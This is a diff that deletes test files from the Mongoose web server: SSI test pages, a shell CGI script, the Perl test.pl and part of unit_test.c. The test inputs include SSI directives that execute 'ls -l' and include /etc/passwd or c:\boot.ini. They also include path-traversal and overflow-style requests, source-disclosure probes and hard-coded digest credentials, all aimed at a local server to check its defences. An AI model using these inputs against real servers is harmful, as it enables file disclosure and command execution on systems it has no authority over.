-Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
-

build/test/sh.cgi

@@ -1,6 +0,0 @@
-#!/bin/sh
-
-echo "Content-Type: text/plain"
-echo
-
-echo "This is shell script CGI."

build/test/ssi1.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#include file="../Makefile" -->
-ssi_end
-</pre></html>

build/test/ssi2.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#include virtual="embed.c" -->
-ssi_end
-</pre></html>

build/test/ssi3.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#exec "ls -l" -->
-ssi_end
-</pre></html>

build/test/ssi4.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#exec "dir /w" -->
-ssi_end
-</pre></html>

build/test/ssi5.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#include abspath="/etc/passwd" -->
-ssi_end
-</pre></html>

build/test/ssi6.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#include abspath="c:\boot.ini" -->
-ssi_end
-</pre></html>

build/test/ssi7.shtml

@@ -1,6 +0,0 @@
-
-<html><pre>
-ssi_begin
-<!--#include "unit_test.c" -->
-ssi_end
-</pre></html>

build/test/ssi8.shtml

@@ -1 +0,0 @@
-<!--#include "ssi9.shtml" -->

build/test/ssi9.shtml

@@ -1,3 +0,0 @@
-ssi_begin
-<!--#include file="../Makefile" -->
-ssi_end

build/test/test.pl

@@ -1,437 +0,0 @@
-#!/usr/bin/env perl
-# This script is used to test Mongoose web server
-# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
-
-use IO::Socket;
-use File::Path;
-use File::Basename;
-use Cwd;
-use strict;
-use warnings;
-#use diagnostics;
-
-sub on_windows { $^O =~ /win32/i; }
-
-my $port = 31295;
-my $pid = undef;
-my $num_requests;
-my $dir_separator = on_windows() ? '\\' : '/';
-my $copy_cmd = on_windows() ? 'copy' : 'cp';
-my $test_dir_uri = "test_dir";
-my $root = './test';
-my $abs_root = Cwd::abs_path(dirname($0) . $dir_separator);
-my $test_dir = $abs_root . $dir_separator. $test_dir_uri;
-#print "$test_dir\n"; exit 0;
-my $config = 'mongoose.conf';
-my $exe_ext = on_windows() ? '.exe' : '';
-my $mongoose_exe = '.' . $dir_separator . 'mongoose' . $exe_ext;
-my $embed_exe = '.' . $dir_separator . 'embed' . $exe_ext;
-my $unit_test_exe = '.' . $dir_separator . 'unit_test' . $exe_ext;
-my $exit_code = 0;
-
-my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
-  "$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
-  "$root/myperl", $embed_exe, $unit_test_exe);
-
-END {
-  #system('cat access.log');
-  unlink @files_to_delete;
-  kill_spawned_child();
-  File::Path::rmtree($test_dir);
-  exit $exit_code;
-}
-
-sub fail {
-  print "FAILED: @_\n";
-  $exit_code = 1;
-  exit 1;
-}
-
-sub get_num_of_log_entries {
-  open FD, "access.log" or return 0;
-  my @lines = (<FD>);
-  close FD;
-  return scalar @lines;
-}
-
-# Send the request to the 127.0.0.1:$port and return the reply
-sub req {
-  my ($request, $inc, $timeout) = @_;
-  my $sock = IO::Socket::INET->new(Proto => 6,
-    PeerAddr => '127.0.0.1', PeerPort => $port);
-  fail("Cannot connect to http://127.0.0.1:$port : $!") unless $sock;
-  $sock->autoflush(1);
-  foreach my $byte (split //, $request) {
-    last unless print $sock $byte;
-    select undef, undef, undef, .001 if length($request) < 256;
-  }
-  my ($out, $buf) = ('', '');
-  eval {
-    alarm $timeout if $timeout;
-    $out .= $buf while (sysread($sock, $buf, 1024) > 0);
-    alarm 0 if $timeout;
-  };
-  close $sock;
-
-  $num_requests += defined($inc) ? $inc : 1;
-  my $num_logs = get_num_of_log_entries();
-
-  unless ($num_requests == $num_logs) {
-    fail("Request has not been logged: [$request], output: [$out]");
-  }
-
-  return $out;
-}
-
-# Send the request. Compare with the expected reply. Fail if no match
-sub o {
-  my ($request, $expected_reply, $message, $num_logs) = @_;
-  print "==> $message ... ";
-  my $reply = req($request, $num_logs);
-  if ($reply =~ /$expected_reply/s) {
-    print "OK\n";
-  } else {
-#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
-    fail("Expected: [$expected_reply], got: [$reply]");
-  }
-}
-
-# Spawn a server listening on specified port
-sub spawn {
-  my ($cmdline) = @_;
-  print 'Executing: ', @_, "\n";
-  if (on_windows()) {
-    my @args = split /\s+/, $cmdline;
-    my $executable = $args[0];
-    Win32::Spawn($executable, $cmdline, $pid);
-    die "Cannot spawn @_: $!" unless $pid;
-  } else {
-    unless ($pid = fork()) {
-      exec $cmdline;
-      die "cannot exec [$cmdline]: $!\n";
-    }
-  }
-  sleep 1;
-}
-
-sub write_file {
-  open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
-  binmode FD;
-  print FD $_[1];
-  close FD;
-}
-
-sub read_file {
-  open FD, $_[0] or fail "Cannot open $_[0]: $!";
-  my @lines = <FD>;
-  close FD;
-  return join '', @lines;
-}
-
-sub kill_spawned_child {
-  if (defined($pid)) {
-    kill(9, $pid);
-    waitpid($pid, 0);
-  }
-}
-
-####################################################### ENTRY POINT
-
-unlink @files_to_delete;
-$SIG{PIPE} = 'IGNORE';
-$SIG{ALRM} = sub { die "timeout\n" };
-#local $| =1;
-
-# Make sure we export only symbols that start with "mg_", and keep local
-# symbols static.
-if ($^O =~ /darwin|bsd|linux/) {
-  my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
-  foreach (split /\n/, $out) {
-    /T\s+_?mg_.+/ or fail("Exported symbol $_")
-  }
-}
-
-# Make sure we load config file if no options are given.
-# Command line options override config files settings
-write_file($config, "access_log_file access.log\n" .
-           "document_root $root\n" .
-           "listening_port 127.0.0.1:23164\n");
-spawn("$mongoose_exe -listening_port 127.0.0.1:$port");
-o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
-unlink $config;
-kill_spawned_child();
-
-#  "-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
-#  "-enable_keep_alive yes ".
-
-# Spawn the server on port $port
-my $cmd = "$mongoose_exe ".
-  "-listening_port 127.0.0.1:$port ".
-  "-access_log_file access.log ".
-  "-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
-  "-dav_auth_file $abs_root/passfile " .
-  '-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
-  "-document_root $root ".
-  "-hide_files_patterns **exploit.PL ".
-  "-url_rewrites /aiased=/etc/,/ta=$test_dir";
-$cmd .= ' -cgi_interpreter perl' if on_windows();
-spawn($cmd);
-
-o("GET /dir%20with%20spaces/桌面/ HTTP/1.0\r\n\r\n", 'куку!',
-  'Non-ascii chars in path');
-o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n",
-  'Content-Length: 15\s', 'Range past the file end');
-o("GET /hello.txt HTTP/1.1\nContent-Length: 0\n\n   ".
-  "GET /hello.txt HTTP/1.0\nContent-Length: 0\n\n",
-  'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
-  'Request pipelining', 2);
-
-my $x = 'x=' . 'A' x (200 * 1024);
-my $len = length($x);
-o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
-  '^HTTP/1.1 200 OK', 'Long POST');
-
-# Try to overflow: Send very long request
-req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
-
-o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
-o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
-  'HTTP/1.1 200 OK', 'Negative content length');
-o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
-  'GET regular file Content-Length');
-o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
-  'HTTP/1.1 200 OK', 'URL-decoding');
-
-# '+' in URI must not be URL-decoded to space
-write_file("$root/a+.txt", ':-)');
-o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
-
-# Break CGI reading after 1 second. We must get full output.
-# Since CGI script does sleep, we sleep as well and increase request count
-# manually.
-my $slow_cgi_reply;
-print "==> Slow CGI output ... ";
-fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
-  ($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
-print "OK\n";
-sleep 2;
-#$num_requests++;
-
-# Test HTTP version parsing
-o("GET / HTTPX/1.0\r\n\r\n", '^HTTP/1.1 400', 'Bad HTTP Version', 0);
-o("GET / HTTP/x.1\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP maj Version', 1);
-o("GET / HTTP/1.1z\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP min Version', 1);
-o("GET / HTTP/02.0\r\n\r\n", '^HTTP/1.1 505', 'HTTP Version >1.1', 1);
-
-# File with leading single dot
-o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
-o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
-o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
-  if on_windows();
-o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
-
-mkdir $test_dir unless -d $test_dir;
-o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
-  'HTTP/1.1 404', 'PATH_INFO loop problem');
-o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
-o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
-write_file("$test_dir/index.html", "tralala");
-o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
-o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
-o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
-o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
-mkdir $test_dir . $dir_separator . 'x';
-my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
-write_file($path, read_file($root . $dir_separator . 'env.cgi'));
-chmod(0755, $path);
-o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
-  'index.cgi execution');
-
-o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
-  "SCRIPT_FILENAME=$test_dir/x/index.cgi", 'SCRIPT_FILENAME');
-o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
-  'Aliases SCRIPT_NAME');
-o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
-  'No keep-alive');
-
-$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
-system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
-write_file($path, "#!../../myperl\n" .
-           "print \"Content-Type: text/plain\\n\\nhi\";");
-chmod(0755, $path);
-o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
-o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
-
-my $mime_types = {
-  html => 'text/html',
-  htm => 'text/html',
-  txt => 'text/plain',
-  unknown_extension => 'text/plain',
-  js => 'application/x-javascript',
-  css => 'text/css',
-  jpg => 'image/jpeg',
-  c => 'text/plain',
-  'tar.gz' => 'blah',
-  bar => 'foo/bar',
-  baz => 'foo',
-};
-
-foreach my $key (keys %$mime_types) {
-  my $filename = "_mime_file_test.$key";
-  write_file("$root/$filename", '');
-  o("GET /$filename HTTP/1.0\n\n",
-    "Content-Type: $mime_types->{$key}", ".$key mime type");
-  unlink "$root/$filename";
-}
-
-# Get binary file and check the integrity
-my $binary_file = 'binary_file';
-my $f2 = '';
-foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
-write_file("$root/$binary_file", $f2);
-my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
-while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
-$f1 eq $f2 or fail("Integrity check for downloaded binary file");
-
-my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
-"Range: bytes=3-5\r\n\r\n";
-o($range_request, '206 Partial Content', 'Range: 206 status code');
-o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
-o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
-o($range_request, '\nple$', 'Range: body content');
-
-# Test directory sorting. Sleep between file creation for 1.1 seconds,
-# to make sure modification time are different.
-mkdir "$test_dir/sort";
-write_file("$test_dir/sort/11", 'xx');
-select undef, undef, undef, 1.1;
-write_file("$test_dir/sort/aa", 'xxxx');
-select undef, undef, undef, 1.1;
-write_file("$test_dir/sort/bb", 'xxx');
-select undef, undef, undef, 1.1;
-write_file("$test_dir/sort/22", 'x');
-
-o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
-  '200 OK.+>11<.+>22<.+>aa<.+>bb<',
-  'Directory listing (name, ascending)');
-o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
-  '200 OK.+>bb<.+>aa<.+>22<.+>11<',
-  'Directory listing (name, descending)');
-o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
-  '200 OK.+>22<.+>11<.+>bb<.+>aa<',
-  'Directory listing (size, ascending)');
-o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
-  '200 OK.+>aa<.+>bb<.+>11<.+>22<',
-  'Directory listing (size, descending)');
-o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
-  '200 OK.+>11<.+>aa<.+>bb<.+>22<',
-  'Directory listing (modification time, ascending)');
-o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
-  '200 OK.+>22<.+>bb<.+>aa<.+>11<',
-  'Directory listing (modification time, descending)');
-
-unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
-  # Check that .htpasswd file existence trigger authorization
-  write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
-  o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
-    '.htpasswd - triggering auth on file request');
-  o("GET / HTTP/1.1\n\n", '401 Unauthorized',
-    '.htpasswd - triggering auth on directory request');
-
-  # Test various funky things in an authentication header.
-  o("GET /hello.txt HTTP/1.0\nAuthorization: Digest   eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
-    '401 Unauthorized', 'weird auth values should not cause crashes');
-  my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
-    "realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
-    "response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
-  # TODO(lsm): re-enable auth checks
-  unlink "$root/.htpasswd";
-
-  o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
-  o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
-    '.htpasswd is hidden from the directory list');
-  o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
-    'hidden file is hidden from the directory list');
-  o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
-    '^HTTP/1.1 404 ', '.htpasswd must not be shown');
-  o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
-    '^HTTP/1.1 404', 'hidden files must not be shown');
-
-
-  o("GET /dir%20with%20spaces/hello.cgi HTTP/1.0\n\r\n",
-      'HTTP/1.1 200 OK.+hello', 'CGI script with spaces in path');
-  o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
-  o("GET /bad2.cgi HTTP/1.0\n\n", "^HTTP/1.1 302", 'CGI Status code');
-  o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
-    'GET sh CGI file') unless on_windows();
-  o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
-    'QUERY_STRING wrong');
-  o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
-    'var=HELLO', 'CGI POST wrong');
-  o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
-    '\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
-  o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
-    'HTTP_MY_HDR=abc', 'HTTP_* env');
-  o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
-    'HTTP/1.1 200 OK', 'GET CGI with trailing data');
-
-  o("GET /env.cgi%20 HTTP/1.0\n\r\n",
-    'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
-  o("GET /env.cgi%ff HTTP/1.0\n\r\n",
-    'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
-  o("GET /env.cgi%2e HTTP/1.0\n\r\n",
-    'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
-  o("GET /env.cgi%2b HTTP/1.0\n\r\n",
-    'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
-  o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
-  o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
-  o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
-  o("GET /env.cgi/foo/bar?a=b HTTP/1.0\n\n",
-    'SCRIPT_NAME=/env.cgi\s', 'SCRIPT_NAME for CGI with PATH_INFO');
-
-  # Check that CGI's current directory is set to script's directory
-  my $copy_cmd = on_windows() ? 'copy' : 'cp';
-  system("$copy_cmd $root" . $dir_separator .  "env.cgi $test_dir" .
-    $dir_separator . 'env.cgi');
-  o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
-    "CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
-
-  # Manipulate the passwords file
-  my $path = 'test_htpasswd';
-  unlink $path;
-  system("$mongoose_exe -A $path a b c") == 0
-    or fail("Cannot add user in a passwd file");
-  system("$mongoose_exe -A $path a b c2") == 0
-    or fail("Cannot edit user in a passwd file");
-  my $content = read_file($path);
-  $content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
-  unlink $path;
-
-  do_PUT_test();
-  kill_spawned_child();
-}
-
-sub do_PUT_test {
-  # This only works because mongoose currently doesn't look at the nonce.
-  # It should really be rejected...
-  my $auth_header = "Authorization: Digest  username=guest, ".
-  "realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
-  "response=896327350763836180c61d87578037d9, qop=auth, ".
-  "nc=00000002, cnonce=53eddd3be4e26a98\n";
-
-  o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
-    "HTTP/1.1 201 OK", 'PUT file, status 201');
-  fail("PUT content mismatch")
-  unless read_file("$root/a/put.txt") eq '1234567';
-  o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
-    "HTTP/1.1 200 OK", 'PUT file, status 200');
-  fail("PUT content mismatch")
-  unless read_file("$root/a/put.txt") eq 'abcd';
-  o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
-    "HTTP/1.1 411 Length Required", 'PUT 411 error');
-  o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
-    "$auth_header\nabcd",
-    "HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
-}
-
-print "SUCCESS! All tests passed.\n";

build/test/timeout.cgi

@@ -1,12 +0,0 @@
-#!/usr/bin/env perl
-
-# Make stdout unbuffered
-use FileHandle;
-STDOUT->autoflush(1);
-
-# This script outputs some content, then sleeps for 5 seconds, then exits.
-# Web server should return the content immediately after it is sent,
-# not waiting until the script exits.
-print "Content-Type: text/html\r\n\r\n";
-print "Some data";
-sleep 3;

build/test/unit_test.c

@@ -1,454 +0,0 @@
-// Unit test for the mongoose web server.
-
-#define USE_WEBSOCKET
-
-#ifndef _WIN32
-#define USE_IPV6
-#include <netdb.h>  // For gethostbyname()
-#endif
-
-// USE_* definitions must be made before #include "mongoose.c" !
-#include "../mongoose.c"
-
-#define FAIL(str, line) do {                    \
-  printf("Fail on line %d: [%s]\n", line, str); \
-  return str;                                   \
-} while (0)
-
-#define ASSERT(expr) do {             \
-  static_num_tests++;               \
-  if (!(expr)) FAIL(#expr, __LINE__); \
-} while (0)
-
-#define RUN_TEST(test) do { const char *msg = test(); \
-  if (msg) return msg; } while (0)
-
-#define HTTP_PORT "45772"
-#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT
-
-static int static_num_tests = 0;
-
-// Connects to host:port, and sends formatted request to it. Returns
-// malloc-ed reply and reply length, or NULL on error. Reply contains
-// everything including headers, not just the message body.
-static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
-  char buf[2000], *reply = NULL;
-  int request_len, reply_size = 0, n, sock = -1;
-  struct sockaddr_in sin;
-  struct hostent *he = NULL;
-  va_list ap;
-
-  if (host != NULL &&
-      (he = gethostbyname(host)) != NULL &&
-      (sock = socket(PF_INET, SOCK_STREAM, 0)) != -1) {
-    sin.sin_family = AF_INET;
-    sin.sin_port = htons((uint16_t) port);
-    sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
-    if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == 0) {
-
-      // Format and send the request.
-      va_start(ap, fmt);
-      request_len = vsnprintf(buf, sizeof(buf), fmt, ap);
-      va_end(ap);
-      while (request_len > 0 && (n = send(sock, buf, request_len, 0)) > 0) {
-        request_len -= n;
-      }
-      if (request_len == 0) {
-        *len = 0;
-        while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) {
-          if (*len + n > reply_size) {
-            reply = realloc(reply, reply_size + sizeof(buf)); // Leak possible
-            reply_size += sizeof(buf);
-          }
-          if (reply != NULL) {
-            memcpy(reply + *len, buf, n);
-            *len += n;
-          }
-        }
-      }
-      closesocket(sock);
-    }
-  }
-
-  return reply;
-}
-
-static char *read_file(const char *path, int *size) {
-  FILE *fp;
-  struct stat st;
-  char *data = NULL;
-  if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
-    *size = (int) st.st_size;
-    assert((data = malloc(*size)) != NULL);
-    assert(fread(data, 1, *size, fp) == (size_t) *size);
-    fclose(fp);
-  }
-  return data;
-}
-
-static const char *test_parse_http_message() {
-  struct mg_connection ri;
-  char req1[] = "GET / HTTP/1.1\r\n\r\n";
-  char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
-  char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
-  char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
-  char req5[] = "GET / HTTP/1.1\r\n\r\n";
-  char req6[] = "G";
-  char req7[] = " blah ";
-  char req8[] = " HTTP/1.1 200 OK \n\n";
-  char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
-
-  ASSERT(get_request_len("\r\n", 3) == -1);
-  ASSERT(get_request_len("\r\n", 2) == 0);
-  ASSERT(get_request_len("GET", 3) == 0);
-  ASSERT(get_request_len("\n\n", 2) == 2);
-  ASSERT(get_request_len("\n\r\n", 3) == 3);
-  ASSERT(get_request_len("\xdd\xdd", 2) == 0);
-  ASSERT(get_request_len("\xdd\x03", 2) == -1);
-  ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0);
-  ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0);
-  ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0);
-
-  ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1);
-  ASSERT(ri.num_headers == 1);
-
-  ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1);
-  ASSERT(strcmp(ri.http_version, "1.1") == 0);
-  ASSERT(ri.num_headers == 0);
-
-  ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1);
-  ASSERT(parse_http_message(req6, 0, &ri) == -1);
-  ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1);
-
-  // TODO(lsm): Fix this. Header value may span multiple lines.
-  ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1);
-  ASSERT(strcmp(ri.http_version, "1.1") == 0);
-  ASSERT(ri.num_headers == 3);
-  ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
-  ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
-  ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
-  ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
-  ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
-  ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
-
-  ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1);
-  ASSERT(strcmp(ri.request_method, "GET") == 0);
-  ASSERT(strcmp(ri.http_version, "1.1") == 0);
-
-  return NULL;
-}
-
-static const char *test_should_keep_alive(void) {
-  struct mg_connection conn;
-  char req1[] = "GET / HTTP/1.1\r\n\r\n";
-  char req2[] = "GET / HTTP/1.0\r\n\r\n";
-  char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
-  char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
-
-  memset(&conn, 0, sizeof(conn));
-  ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1);
-  ASSERT(should_keep_alive(&conn) != 0);
-
-  parse_http_message(req2, sizeof(req2) - 1, &conn);
-  ASSERT(should_keep_alive(&conn) == 0);
-
-  parse_http_message(req3, sizeof(req3) - 1, &conn);
-  ASSERT(should_keep_alive(&conn) == 0);
-
-  parse_http_message(req4, sizeof(req4) - 1, &conn);
-  ASSERT(should_keep_alive(&conn) != 0);
-
-  return NULL;
-}
-
-static const char *test_match_prefix(void) {
-  ASSERT(match_prefix("/api", 4, "/api") == 4);
-  ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
-  ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
-  ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
-  ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
-  ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
-  ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
-  ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
-  ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
-  ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
-  ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
-  ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
-  ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
-  ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
-  ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
-  ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
-  ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
-  ASSERT(match_prefix("$", 1, "") == 0);
-  ASSERT(match_prefix("$", 1, "x") == -1);
-  ASSERT(match_prefix("*$", 2, "x") == 1);
-  ASSERT(match_prefix("/$", 2, "/") == 1);
-  ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
-  ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
-  ASSERT(match_prefix("*", 1, "/hello/") == 0);
-  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
-  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
-  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
-  ASSERT(match_prefix("**o$", 4, "HELLO") == 5);
-  return NULL;
-}
-
-static const char *test_remove_double_dots() {
-  struct { char before[20], after[20]; } data[] = {
-    {"////a", "/a"},
-    {"/.....", "/."},
-    {"/......", "/"},
-    {"...", "..."},
-    {"/...///", "/./"},
-    {"/a...///", "/a.../"},
-    {"/.x", "/.x"},
-    {"/\\", "/"},
-    {"/a\\", "/a\\"},
-    {"/a\\\\...", "/a\\."},
-  };
-  size_t i;
-
-  for (i = 0; i < ARRAY_SIZE(data); i++) {
-    remove_double_dots_and_double_slashes(data[i].before);
-    ASSERT(strcmp(data[i].before, data[i].after) == 0);
-  }
-
-  return NULL;
-}
-
-static const char *test_get_var(void) {
-  static const char *post[] = {
-    "a=1&&b=2&d&=&c=3%20&e=",
-    "q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
-    NULL
-  };
-  char buf[20];
-
-  ASSERT(get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
-  ASSERT(buf[0] == '1' && buf[1] == '\0');
-  ASSERT(get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
-  ASSERT(buf[0] == '2' && buf[1] == '\0');
